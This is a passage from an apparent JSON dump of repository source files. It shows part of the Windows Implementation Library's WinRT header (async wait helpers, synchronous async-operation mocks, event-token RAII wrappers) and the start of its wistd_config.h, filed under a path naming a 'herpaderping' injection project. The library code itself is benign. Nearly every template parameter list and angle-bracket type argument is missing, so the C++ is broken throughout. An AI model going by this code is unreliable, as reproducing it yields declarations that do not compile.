ABI::Windows::Foundation::IAsyncOperationWithProgress* operation,\n _Out_ typename wil::details::MapAsyncOpProgressResultType::type* result,\n COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT\n{\n return details::WaitForCompletion(operation, result, flags, INFINITE, nullptr);\n}\n\n// Same as above, but allows caller to specify a timeout value.\n// On timeout, S_OK is returned, with timedOut set to true.\n\ntemplate \ninline HRESULT wait_for_completion_or_timeout_nothrow(_In_ TAsync* operation,\n DWORD timeoutValue, _Out_ bool* timedOut, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT\n{\n return details::WaitForCompletion(operation, flags, timeoutValue, timedOut);\n}\n\ntemplate \nHRESULT wait_for_completion_or_timeout_nothrow(_In_ ABI::Windows::Foundation::IAsyncOperation* operation,\n _Out_ typename wil::details::MapAsyncOpResultType::type* result,\n DWORD timeoutValue, _Out_ bool* timedOut, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT\n{\n return details::WaitForCompletion(operation, result, flags, timeoutValue, timedOut);\n}\n\ntemplate \nHRESULT wait_for_completion_or_timeout_nothrow(_In_ ABI::Windows::Foundation::IAsyncOperationWithProgress* operation,\n _Out_ typename wil::details::MapAsyncOpProgressResultType::type* result,\n DWORD timeoutValue, _Out_ bool* timedOut, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT\n{\n return details::WaitForCompletion(operation, result, flags, timeoutValue, timedOut);\n}\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n//! Wait for an asynchronous operation to complete (or be canceled).\ntemplate \ninline void wait_for_completion(_In_ TAsync* operation, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS)\n{\n THROW_IF_FAILED(details::WaitForCompletion(operation, flags, INFINITE, nullptr));\n}\n\ntemplate ::type>::type>\nTReturn\nwait_for_completion(_In_ ABI::Windows::Foundation::IAsyncOperation* operation, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS)\n{\n TReturn result;\n THROW_IF_FAILED(details::WaitForCompletion(operation, result.GetAddressOf(), flags, INFINITE, nullptr));\n return result;\n}\n\ntemplate ::type>::type>\nTReturn\nwait_for_completion(_In_ ABI::Windows::Foundation::IAsyncOperationWithProgress* operation, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS)\n{\n TReturn result;\n THROW_IF_FAILED(details::WaitForCompletion(operation, result.GetAddressOf(), flags, INFINITE, nullptr));\n return result;\n}\n\n/** Similar to WaitForCompletion but this function encapsulates the creation of the async operation\nmaking usage simpler.\n~~~\nComPtr launcher; // inited somewhere\nauto result = call_and_wait_for_completion(launcher.Get(), &ILauncherStatics::LaunchUriAsync, uri.Get());\n~~~\n*/\ntemplate\nauto call_and_wait_for_completion(I* object, HRESULT(STDMETHODCALLTYPE I::*func)(P...), Args&&... args)\n{\n Microsoft::WRL::ComPtr::type>::type>::type> op;\n THROW_IF_FAILED((object->*func)(wistd::forward(args)..., &op));\n return wil::wait_for_completion(op.Get());\n}\n#endif\n#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM)\n\n#pragma endregion\n\n#pragma region WinRT object construction\n#ifdef WIL_ENABLE_EXCEPTIONS\n//! Get a WinRT activation factory object, usually using a IXXXStatics interface.\ntemplate \ncom_ptr GetActivationFactory(PCWSTR runtimeClass)\n{\n com_ptr result;\n THROW_IF_FAILED(RoGetActivationFactory(Microsoft::WRL::Wrappers::HStringReference(runtimeClass).Get(), IID_PPV_ARGS(&result)));\n return result;\n}\n\n//! Get a WinRT object.\ntemplate \ncom_ptr ActivateInstance(PCWSTR runtimeClass)\n{\n com_ptr result;\n THROW_IF_FAILED(RoActivateInstance(Microsoft::WRL::Wrappers::HStringReference(runtimeClass).Get(), &result));\n return result.query();\n}\n#endif\n#pragma endregion\n\n#pragma region Async production helpers\n\n/// @cond\nnamespace details\n{\n template \n class SyncAsyncOp WrlFinal : public Microsoft::WRL::RuntimeClass,\n Microsoft::WRL::AsyncBase>>\n {\n // typedef typename MapToSmartType::type TSmart;\n using RuntimeClassT = typename SyncAsyncOp::RuntimeClassT;\n InspectableClass(__super::z_get_rc_name_impl(), TrustLevel::BaseTrust);\n public:\n HRESULT RuntimeClassInitialize(const TResult& op)\n {\n m_result = op;\n return S_OK;\n }\n\n IFACEMETHODIMP put_Completed(ABI::Windows::Foundation::IAsyncOperationCompletedHandler* competed) override\n {\n competed->Invoke(this, ABI::Windows::Foundation::AsyncStatus::Completed);\n return S_OK;\n }\n\n IFACEMETHODIMP get_Completed(ABI::Windows::Foundation::IAsyncOperationCompletedHandler** competed) override\n {\n *competed = nullptr;\n return S_OK;\n }\n\n IFACEMETHODIMP GetResults(TResult* result) override\n {\n *result = m_result;\n return S_OK;\n }\n\n HRESULT OnStart() override { return S_OK; }\n void OnClose() override { }\n void OnCancel() override { }\n private:\n // needs to be MapToSmartType::type to hold non trial types\n TResult m_result;\n };\n\n extern const __declspec(selectany) wchar_t SyncAsyncActionName[] = L\"SyncActionAction\";\n\n class SyncAsyncActionOp WrlFinal : public Microsoft::WRL::RuntimeClass\n#endif\n >>\n {\n InspectableClass(InterfaceName_Windows_Foundation_IAsyncAction, TrustLevel::BaseTrust);\n public:\n IFACEMETHODIMP put_Completed(ABI::Windows::Foundation::IAsyncActionCompletedHandler* competed) override\n {\n competed->Invoke(this, ABI::Windows::Foundation::AsyncStatus::Completed);\n return S_OK;\n }\n\n IFACEMETHODIMP get_Completed(ABI::Windows::Foundation::IAsyncActionCompletedHandler** competed) override\n {\n *competed = nullptr;\n return S_OK;\n }\n\n IFACEMETHODIMP GetResults() override\n {\n return S_OK;\n }\n\n HRESULT OnStart() override { return S_OK; }\n void OnClose() override { }\n void OnCancel() override { }\n };\n}\n\n/// @endcond\n//! Creates a WinRT async operation object that implements IAsyncOperation. Use mostly for testing and for mocking APIs.\ntemplate \nHRESULT make_synchronous_async_operation_nothrow(ABI::Windows::Foundation::IAsyncOperation** result, const TResult& value)\n{\n return Microsoft::WRL::MakeAndInitialize>(result, value);\n}\n\n//! Creates a WinRT async operation object that implements IAsyncAction. Use mostly for testing and for mocking APIs.\ninline HRESULT make_synchronous_async_action_nothrow(ABI::Windows::Foundation::IAsyncAction** result)\n{\n return Microsoft::WRL::MakeAndInitialize(result);\n}\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n//! Creates a WinRT async operation object that implements IAsyncOperation. Use mostly for testing and for mocking APIs.\n// TODO: map TRealResult and TSmartResult into SyncAsyncOp.\ntemplate ::type, typename TSmartResult = typename details::MapToSmartType::type>\nvoid make_synchronous_async_operation(ABI::Windows::Foundation::IAsyncOperation** result, const TResult& value)\n{\n THROW_IF_FAILED((Microsoft::WRL::MakeAndInitialize>(result, value)));\n}\n\n//! Creates a WinRT async operation object that implements IAsyncAction. Use mostly for testing and for mocking APIs.\ninline void make_synchronous_async_action(ABI::Windows::Foundation::IAsyncAction** result)\n{\n THROW_IF_FAILED((Microsoft::WRL::MakeAndInitialize(result)));\n}\n#endif\n#pragma endregion\n\n#pragma region EventRegistrationToken RAII wrapper\n\n// unique_winrt_event_token[_cx] is an RAII wrapper around EventRegistrationToken. When the unique_winrt_event_token[_cx] is\n// destroyed, the event is automatically unregistered. Declare a wil::unique_winrt_event_token[_cx] at the scope the event\n// should be registered for (often they are tied to object lifetime), where T is the type of the event sender\n// wil::unique_winrt_event_token_cx m_token;\n//\n// Macros have been defined to register for handling the event and then returning an unique_winrt_event_token[_cx]. These\n// macros simply hide the function references for adding and removing the event.\n// C++/CX m_token = WI_MakeUniqueWinRtEventTokenCx(ExampleEventName, sender, handler);\n// ABI m_token = WI_MakeUniqueWinRtEventToken(ExampleEventName, sender, handler, &m_token); // Exception and failfast\n// ABI RETURN_IF_FAILED(WI_MakeUniqueWinRtEventTokenNoThrow(ExampleEventName, sender, handler, &m_token)); // No throw variant\n//\n// When the wrapper is destroyed, the handler will be unregistered. You can explicitly unregister the handler prior.\n// m_token.reset();\n//\n// You can release the EventRegistrationToken from being managed by the wrapper by calling .release()\n// m_token.release(); // DANGER: no longer being managed\n//\n// If you just need the value of the EventRegistrationToken you can call .get()\n// m_token.get();\n//\n// See \"onecore\\shell\\tests\\wil\\UniqueWinRTEventTokenTests.cpp\" for more examples of usage in ABI and C++/CX.\n\n#ifdef __cplusplus_winrt\nnamespace details\n{\n template struct remove_reference { typedef T type; };\n template struct remove_reference { typedef T type; };\n}\n\ntemplate\nclass unique_winrt_event_token_cx\n{\n using removal_func = void(T::*)(Windows::Foundation::EventRegistrationToken);\n using static_removal_func = void(__cdecl *)(Windows::Foundation::EventRegistrationToken);\n\npublic:\n unique_winrt_event_token_cx() = default;\n\n unique_winrt_event_token_cx(Windows::Foundation::EventRegistrationToken token, T^ sender, removal_func removalFunction) WI_NOEXCEPT :\n m_token(token),\n m_weakSender(sender),\n m_removalFunction(removalFunction)\n {}\n\n unique_winrt_event_token_cx(Windows::Foundation::EventRegistrationToken token, static_removal_func removalFunction) WI_NOEXCEPT :\n m_token(token),\n m_staticRemovalFunction(removalFunction)\n {}\n\n unique_winrt_event_token_cx(const unique_winrt_event_token_cx&) = delete;\n unique_winrt_event_token_cx& operator=(const unique_winrt_event_token_cx&) = delete;\n\n unique_winrt_event_token_cx(unique_winrt_event_token_cx&& other) WI_NOEXCEPT :\n m_token(other.m_token),\n m_weakSender(wistd::move(other.m_weakSender)),\n m_removalFunction(other.m_removalFunction),\n m_staticRemovalFunction(other.m_staticRemovalFunction)\n {\n other.m_token = {};\n other.m_weakSender = nullptr;\n other.m_removalFunction = nullptr;\n other.m_staticRemovalFunction = nullptr;\n }\n\n unique_winrt_event_token_cx& operator=(unique_winrt_event_token_cx&& other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n reset();\n\n wistd::swap_wil(m_token, other.m_token);\n wistd::swap_wil(m_weakSender, other.m_weakSender);\n wistd::swap_wil(m_removalFunction, other.m_removalFunction);\n wistd::swap_wil(m_staticRemovalFunction, other.m_staticRemovalFunction);\n }\n\n return *this;\n }\n\n ~unique_winrt_event_token_cx() WI_NOEXCEPT\n {\n reset();\n }\n\n explicit operator bool() const WI_NOEXCEPT\n {\n return (m_token.Value != 0);\n }\n\n Windows::Foundation::EventRegistrationToken get() const WI_NOEXCEPT\n {\n return m_token;\n }\n\n void reset() noexcept\n {\n if (m_token.Value != 0)\n {\n if (m_staticRemovalFunction)\n {\n (*m_staticRemovalFunction)(m_token);\n }\n else\n {\n auto resolvedSender = m_weakSender.Resolve();\n if (resolvedSender)\n {\n (resolvedSender->*m_removalFunction)(m_token);\n }\n }\n release();\n }\n }\n\n // Stops the wrapper from managing resource and returns the EventRegistrationToken.\n Windows::Foundation::EventRegistrationToken release() WI_NOEXCEPT\n {\n auto token = m_token;\n m_token = {};\n m_weakSender = nullptr;\n m_removalFunction = nullptr;\n m_staticRemovalFunction = nullptr;\n return token;\n }\n\nprivate:\n Windows::Foundation::EventRegistrationToken m_token = {};\n Platform::WeakReference m_weakSender;\n removal_func m_removalFunction = nullptr;\n static_removal_func m_staticRemovalFunction = nullptr;\n};\n\n#endif\n\ntemplate\nclass unique_winrt_event_token\n{\n using removal_func = HRESULT(__stdcall T::*)(::EventRegistrationToken);\n\npublic:\n unique_winrt_event_token() = default;\n\n unique_winrt_event_token(::EventRegistrationToken token, T* sender, removal_func removalFunction) WI_NOEXCEPT :\n m_token(token),\n m_removalFunction(removalFunction)\n {\n m_weakSender = wil::com_weak_query_failfast(sender);\n }\n\n unique_winrt_event_token(const unique_winrt_event_token&) = delete;\n unique_winrt_event_token& operator=(const unique_winrt_event_token&) = delete;\n\n unique_winrt_event_token(unique_winrt_event_token&& other) WI_NOEXCEPT :\n m_token(other.m_token),\n m_weakSender(wistd::move(other.m_weakSender)),\n m_removalFunction(other.m_removalFunction)\n {\n other.m_token = {};\n other.m_removalFunction = nullptr;\n }\n\n unique_winrt_event_token& operator=(unique_winrt_event_token&& other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n reset();\n\n wistd::swap_wil(m_token, other.m_token);\n wistd::swap_wil(m_weakSender, other.m_weakSender);\n wistd::swap_wil(m_removalFunction, other.m_removalFunction);\n }\n\n return *this;\n }\n\n ~unique_winrt_event_token() WI_NOEXCEPT\n {\n reset();\n }\n\n explicit operator bool() const WI_NOEXCEPT\n {\n return (m_token.value != 0);\n }\n\n ::EventRegistrationToken get() const WI_NOEXCEPT\n {\n return m_token;\n }\n\n void reset() WI_NOEXCEPT\n {\n if (m_token.value != 0)\n {\n // If T cannot be QI'ed from the weak object then T is not a COM interface.\n auto resolvedSender = m_weakSender.try_query();\n if (resolvedSender)\n {\n FAIL_FAST_IF_FAILED((resolvedSender.get()->*m_removalFunction)(m_token));\n }\n release();\n }\n }\n\n // Stops the wrapper from managing resource and returns the EventRegistrationToken.\n ::EventRegistrationToken release() WI_NOEXCEPT\n {\n auto token = m_token;\n m_token = {};\n m_weakSender = nullptr;\n m_removalFunction = nullptr;\n return token;\n }\n\nprivate:\n ::EventRegistrationToken m_token = {};\n wil::com_weak_ref_failfast m_weakSender;\n removal_func m_removalFunction = nullptr;\n};\n\nnamespace details\n{\n#ifdef __cplusplus_winrt\n\n // Handles registration of the event handler to the subscribing object and then wraps the EventRegistrationToken in unique_winrt_event_token.\n // Not intended to be directly called. Use the WI_MakeUniqueWinRtEventTokenCx macro to abstract away specifying the functions that handle addition and removal.\n template\n inline wil::unique_winrt_event_token_cx make_unique_winrt_event_token_cx(T^ sender, addition_func additionFunc, removal_func removalFunc, handler^ h)\n {\n auto rawToken = (sender->*additionFunc)(h);\n wil::unique_winrt_event_token_cx temp(rawToken, sender, removalFunc);\n return temp;\n }\n\n template\n inline wil::unique_winrt_event_token_cx make_unique_winrt_static_event_token_cx(addition_func additionFunc, removal_func removalFunc, handler^ h)\n {\n auto rawToken = (*additionFunc)(h);\n wil::unique_winrt_event_token_cx temp(rawToken, removalFunc);\n return temp;\n }\n\n#endif // __cplusplus_winrt\n\n // Handles registration of the event handler to the subscribing object and then wraps the EventRegistrationToken in unique_winrt_event_token.\n // Not intended to be directly called. Use the WI_MakeUniqueWinRtEventToken macro to abstract away specifying the functions that handle addition and removal.\n template\n inline auto make_unique_winrt_event_token(T* sender, addition_func additionFunc, removal_func removalFunc, handler h, wil::unique_winrt_event_token* token_reference)\n {\n ::EventRegistrationToken rawToken;\n err_policy::HResult((sender->*additionFunc)(h, &rawToken));\n *token_reference = wil::unique_winrt_event_token(rawToken, sender, removalFunc);\n return err_policy::OK();\n }\n\n // Overload make function to allow for returning the constructed object when not using HRESULT based code.\n template\n inline typename wistd::enable_if::value, wil::unique_winrt_event_token>::type\n make_unique_winrt_event_token(T* sender, addition_func additionFunc, removal_func removalFunc, handler h)\n {\n ::EventRegistrationToken rawToken;\n err_policy::HResult((sender->*additionFunc)(h, &rawToken));\n return wil::unique_winrt_event_token(rawToken, sender, removalFunc);\n }\n\n} // namespace details\n\n// Helper macros to abstract function names for event addition and removal.\n#ifdef __cplusplus_winrt\n\n#define WI_MakeUniqueWinRtEventTokenCx(_event, _object, _handler) \\\n wil::details::make_unique_winrt_event_token_cx( \\\n _object, \\\n &wil::details::remove_reference::type::##_event##::add, \\\n &wil::details::remove_reference::type::##_event##::remove, \\\n _handler)\n\n#define WI_MakeUniqueWinRtStaticEventTokenCx(_event, _baseType, _handler) \\\n wil::details::make_unique_winrt_static_event_token_cx<_baseType>( \\\n &##_baseType##::##_event##::add, \\\n &##_baseType##::##_event##::remove, \\\n _handler)\n\n#endif // __cplusplus_winrt\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n\n#define WI_MakeUniqueWinRtEventToken(_event, _object, _handler) \\\n wil::details::make_unique_winrt_event_token( \\\n _object, \\\n &wistd::remove_pointer::type::add_##_event, \\\n &wistd::remove_pointer::type::remove_##_event, \\\n _handler)\n\n#endif // WIL_ENABLE_EXCEPTIONS\n\n#define WI_MakeUniqueWinRtEventTokenNoThrow(_event, _object, _handler, _token_reference) \\\n wil::details::make_unique_winrt_event_token( \\\n _object, \\\n &wistd::remove_pointer::type::add_##_event, \\\n &wistd::remove_pointer::type::remove_##_event, \\\n _handler, \\\n _token_reference)\n\n#define WI_MakeUniqueWinRtEventTokenFailFast(_event, _object, _handler) \\\n wil::details::make_unique_winrt_event_token( \\\n _object, \\\n &wistd::remove_pointer::type::add_##_event, \\\n &wistd::remove_pointer::type::remove_##_event, \\\n _handler)\n\n#pragma endregion // EventRegistrationToken RAII wrapper\n\n} // namespace wil\n\n#if (NTDDI_VERSION >= NTDDI_WINBLUE)\n\ntemplate <>\nstruct ABI::Windows::Foundation::IAsyncOperation :\n ABI::Windows::Foundation::IAsyncOperation_impl\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperation\";\n }\n};\n\ntemplate \nstruct ABI::Windows::Foundation::IAsyncOperationWithProgress :\n ABI::Windows::Foundation::IAsyncOperationWithProgress_impl\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperationWithProgress\";\n }\n};\n\ntemplate \nstruct ABI::Windows::Foundation::IAsyncOperation*> :\n ABI::Windows::Foundation::IAsyncOperation_impl*>\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperation*>\";\n }\n};\n\ntemplate \nstruct ABI::Windows::Foundation::IAsyncOperationWithProgress*, P> :\n ABI::Windows::Foundation::IAsyncOperationWithProgress_impl*, P>\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperationWithProgress*,P>\";\n }\n};\n\ntemplate \nstruct ABI::Windows::Foundation::IAsyncOperation*> :\n ABI::Windows::Foundation::IAsyncOperation_impl*>\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperation*>\";\n }\n};\n\ntemplate \nstruct ABI::Windows::Foundation::IAsyncOperationWithProgress*, Z> :\n ABI::Windows::Foundation::IAsyncOperationWithProgress_impl*, Z>\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperationWithProgress*,Z>\";\n }\n};\n\ntemplate <>\nstruct ABI::Windows::Foundation::IAsyncOperationCompletedHandler :\n ABI::Windows::Foundation::IAsyncOperationCompletedHandler_impl\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperationCompletedHandler\";\n }\n};\n\ntemplate \nstruct ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler :\n ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler_impl\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperationWithProgressCompletedHandler\";\n }\n};\n\ntemplate \nstruct ABI::Windows::Foundation::IAsyncOperationCompletedHandler*> :\n ABI::Windows::Foundation::IAsyncOperationCompletedHandler_impl*>\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperationCompletedHandler*>\";\n }\n};\n\ntemplate \nstruct ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler*, P> :\n ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler_impl*, P>\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperationWithProgressCompletedHandler*,P>\";\n }\n};\n\ntemplate \nstruct ABI::Windows::Foundation::IAsyncOperationCompletedHandler*> :\n ABI::Windows::Foundation::IAsyncOperationCompletedHandler_impl*>\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperationCompletedHandler*>\";\n }\n};\n\ntemplate \nstruct ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler*, Z> :\n ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler_impl*, Z>\n{\n static const wchar_t* z_get_rc_name_impl()\n {\n return L\"IAsyncOperationWithProgressCompletedHandler*,Z>\";\n }\n};\n#endif // NTDDI_VERSION >= NTDDI_WINBLUE\n\n#if !defined(MIDL_NS_PREFIX) && !defined(____x_ABI_CWindows_CFoundation_CIClosable_FWD_DEFINED__)\n// Internal .idl files use the namespace without the ABI prefix. Macro out ABI for that case\n#pragma pop_macro(\"ABI\")\n#endif\n\n#if __WI_HAS_STD_LESS\n\nnamespace std\n{\n //! Specialization of `std::less` for `Microsoft::WRL::Wrappers::HString` that uses `hstring_less` for the\n //! comparison function object.\n template <>\n struct less :\n public wil::hstring_less\n {\n };\n\n //! Specialization of `std::less` for `wil::unique_hstring` that uses `hstring_less` for the comparison function\n //! object.\n template <>\n struct less :\n public wil::hstring_less\n {\n };\n}\n\n#endif\n\n#endif // __WIL_WINRT_INCLUDED\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/wistd_config.h", "content": "// -*- C++ -*-\n//===--------------------------- __config ---------------------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is dual licensed under the MIT and the University of Illinois Open\n// Source Licenses. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n\n// STL common functionality\n//\n// Some aspects of STL are core language concepts that should be used from all C++ code, regardless\n// of whether exceptions are enabled in the component. Common library code that expects to be used\n// from exception-free components want these concepts, but including STL headers directly introduces\n// friction as it requires components not using STL to declare their STL version. Doing so creates\n// ambiguity around whether STL use is safe in a particular component and implicitly brings in\n// a long list of headers (including ) which can create further ambiguity around throwing new\n// support (some routines pulled in may expect it). Secondarily, pulling in these headers also has\n// the potential to create naming conflicts or other implied dependencies.\n//\n// To promote the use of these core language concepts outside of STL-based binaries, this file is\n// selectively pulling those concepts *directly* from corresponding STL headers. The corresponding\n// \"std::\" namespace STL functions and types should be preferred over these in code that is bound to\n// STL. The implementation and naming of all functions are taken directly from STL, instead using\n// \"wistd\" (Windows Implementation std) as the namespace.\n//\n// Routines in this namespace should always be considered a reflection of the *current* STL implementation\n// of those routines. Updates from STL should be taken, but no \"bugs\" should be fixed here.\n//\n// New, exception-based code should not use this namespace, but instead should prefer the std:: implementation.\n// Only code that is not exception-based and libraries that expect to be utilized across both exception\n// and non-exception based code should utilize this functionality.\n\n// This header mimics libc++'s '__config' header to the extent necessary to get the wistd::* definitions compiling. Note\n// that this has a few key differences since libc++'s MSVC compatability is currently not functional and a bit behind\n\n#ifndef _WISTD_CONFIG_H_\n#define _WISTD_CONFIG_H_\n\n// DO NOT add *any* additional includes to this file -- there should be no dependencies from its usage\n#include // For size_t and other necessary types\n\n/// @cond\n#if defined(_MSC_VER) && !defined(__clang__)\n# if !defined(__WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER)\n# define __WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER\n# endif\n#endif\n\n#ifndef __WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER\n#pragma GCC system_header\n#endif\n\n#ifdef __GNUC__\n# define __WI_GNUC_VER (__GNUC__ * 100 + __GNUC_MINOR__)\n// The __WI_GNUC_VER_NEW macro better represents the new GCC versioning scheme\n// introduced in GCC 5.0.\n# define __WI_GNUC_VER_NEW (__WI_GNUC_VER * 10 + __GNUC_PATCHLEVEL__)\n#else\n# define __WI_GNUC_VER 0\n# define __WI_GNUC_VER_NEW 0\n#endif\n\n// _MSVC_LANG is the more accurate way to get the C++ version in MSVC\n#if defined(_MSVC_LANG) && (_MSVC_LANG > __cplusplus)\n#define __WI_CPLUSPLUS _MSVC_LANG\n#else\n#define __WI_CPLUSPLUS __cplusplus\n#endif\n\n#ifndef __WI_LIBCPP_STD_VER\n# if __WI_CPLUSPLUS <= 201103L\n# define __WI_LIBCPP_STD_VER 11\n# elif __WI_CPLUSPLUS <= 201402L\n# define __WI_LIBCPP_STD_VER 14\n# elif __WI_CPLUSPLUS <= 201703L\n# define __WI_LIBCPP_STD_VER 17\n# else\n# define __WI_LIBCPP_STD_VER 18 // current year, or date of c++2a ratification\n# endif\n#endif // __WI_LIBCPP_STD_VER\n\n#if __WI_CPLUSPLUS < 201103L\n#define __WI_LIBCPP_CXX03_LANG\n#endif\n\n#if defined(__ELF__)\n# define __WI_LIBCPP_OBJECT_FORMAT_ELF 1\n#elif defined(__MACH__)\n# define __WI_LIBCPP_OBJECT_FORMAT_MACHO 1\n#elif defined(_WIN32)\n# define __WI_LIBCPP_OBJECT_FORMAT_COFF 1\n#elif defined(__wasm__)\n# define __WI_LIBCPP_OBJECT_FORMAT_WASM 1\n#else\n# error Unknown object file format\n#endif\n\n#if defined(__clang__)\n# define __WI_LIBCPP_COMPILER_CLANG\n#elif defined(__GNUC__)\n# define __WI_LIBCPP_COMPILER_GCC\n#elif defined(_MSC_VER)\n# define __WI_LIBCPP_COMPILER_MSVC\n#elif defined(__IBMCPP__)\n# define __WI_LIBCPP_COMPILER_IBM\n#endif\n\n// NOTE: MSVC, which is what we primarily target, is severly underrepresented in libc++ and checks such as\n// __has_feature(...) are always false for MSVC, even when the feature being tested _is_ present in MSVC. Therefore, we\n// instead modify all checks to be __WI_HAS_FEATURE_IS_UNION, etc., which provides the correct value for MSVC and falls\n// back to the __has_feature(...), etc. value otherwise. We intentionally leave '__has_feature', etc. undefined for MSVC\n// so that we don't accidentally use the incorrect behavior\n#ifndef __WI_LIBCPP_COMPILER_MSVC\n\n#ifndef __has_feature\n#define __has_feature(__x) 0\n#endif\n\n// '__is_identifier' returns '0' if '__x' is a reserved identifier provided by\n// the compiler and '1' otherwise.\n#ifndef __is_identifier\n#define __is_identifier(__x) 1\n#endif\n\n#ifndef __has_cpp_attribute\n#define __has_cpp_attribute(__x) 0\n#endif\n\n#ifndef __has_attribute\n#define __has_attribute(__x) 0\n#endif\n\n#ifndef __has_builtin\n#define __has_builtin(__x) 0\n#endif\n\n#if __has_feature(cxx_alignas)\n# define __WI_ALIGNAS_TYPE(x) alignas(x)\n# define __WI_ALIGNAS(x) alignas(x)\n#else\n# define __WI_ALIGNAS_TYPE(x) __attribute__((__aligned__(__alignof(x))))\n# define __WI_ALIGNAS(x) __attribute__((__aligned__(x)))\n#endif\n\n#if __has_feature(cxx_explicit_conversions) || defined(__IBMCPP__) || \\\n (!defined(__WI_LIBCPP_CXX03_LANG) && defined(__GNUC__)) // All supported GCC versions\n# define __WI_LIBCPP_EXPLICIT explicit\n#else\n# define __WI_LIBCPP_EXPLICIT\n#endif\n\n#if __has_feature(cxx_attributes)\n# define __WI_LIBCPP_NORETURN [[noreturn]]\n#else\n# define __WI_LIBCPP_NORETURN __attribute__ ((noreturn))\n#endif\n\n#define __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS\n#define __WI_LIBCPP_SUPPRESS_NOEXCEPT_ANALYSIS\n\n// The __WI_LIBCPP_NODISCARD_ATTRIBUTE should only be used to define other\n// NODISCARD macros to the correct attribute.\n#if __has_cpp_attribute(nodiscard)\n# define __WI_LIBCPP_NODISCARD_ATTRIBUTE [[nodiscard]]\n#elif defined(__WI_LIBCPP_COMPILER_CLANG) && !defined(__WI_LIBCPP_CXX03_LANG)\n# define __WI_LIBCPP_NODISCARD_ATTRIBUTE [[clang::warn_unused_result]]\n#else\n// We can't use GCC's [[gnu::warn_unused_result]] and\n// __attribute__((warn_unused_result)), because GCC does not silence them via\n// (void) cast.\n# define __WI_LIBCPP_NODISCARD_ATTRIBUTE\n#endif\n\n#define __WI_HAS_FEATURE_IS_UNION __has_feature(is_union)\n#define __WI_HAS_FEATURE_IS_CLASS __has_feature(is_class)\n#define __WI_HAS_FEATURE_IS_ENUM __has_feature(is_enum)\n#define __WI_HAS_FEATURE_IS_CONVERTIBLE_TO __has_feature(is_convertible_to)\n#define __WI_HAS_FEATURE_IS_EMPTY __has_feature(is_empty)\n#define __WI_HAS_FEATURE_IS_POLYMORPHIC __has_feature(is_polymorphic)\n#define __WI_HAS_FEATURE_HAS_VIRTUAL_DESTRUCTOR __has_feature(has_virtual_destructor)\n#define __WI_HAS_FEATURE_REFERENCE_QUALIFIED_FUNCTIONS __has_feature(cxx_reference_qualified_functions)\n#define __WI_HAS_FEATURE_IS_CONSTRUCTIBLE __has_feature(is_constructible)\n#define __WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE __has_feature(is_trivially_constructible)\n#define __WI_HAS_FEATURE_IS_TRIVIALLY_ASSIGNABLE __has_feature(is_trivially_assignable)\n#define __WI_HAS_FEATURE_HAS_TRIVIAL_DESTRUCTOR __has_feature(has_trivial_destructor)\n#define __WI_HAS_FEATURE_NOEXCEPT __has_feature(cxx_noexcept)\n#define __WI_HAS_FEATURE_IS_POD __has_feature(is_pod)\n#define __WI_HAS_FEATURE_IS_STANDARD_LAYOUT __has_feature(is_standard_layout)\n#define __WI_HAS_FEATURE_IS_TRIVIALLY_COPYABLE __has_feature(is_trivially_copyable)\n#define __WI_HAS_FEATURE_IS_TRIVIAL __has_feature(is_trivial)\n#define __WI_HAS_FEATURE_HAS_TRIVIAL_CONSTRUCTOR __has_feature(has_trivial_constructor) || (__WI_GNUC_VER >= 403)\n#define __WI_HAS_FEATURE_HAS_NOTHROW_CONSTRUCTOR __has_feature(has_nothrow_constructor) || (__WI_GNUC_VER >= 403)\n#define __WI_HAS_FEATURE_HAS_NOTHROW_COPY __has_feature(has_nothrow_copy) || (__WI_GNUC_VER >= 403)\n#define __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN __has_feature(has_nothrow_assign) || (__WI_GNUC_VER >= 403)\n\n#if !(__has_feature(cxx_noexcept))\n#define __WI_LIBCPP_HAS_NO_NOEXCEPT\n#endif\n\n#if !__is_identifier(__has_unique_object_representations) || __WI_GNUC_VER >= 700\n#define __WI_LIBCPP_HAS_UNIQUE_OBJECT_REPRESENTATIONS\n#endif\n\n#if !(__has_feature(cxx_variadic_templates))\n#define 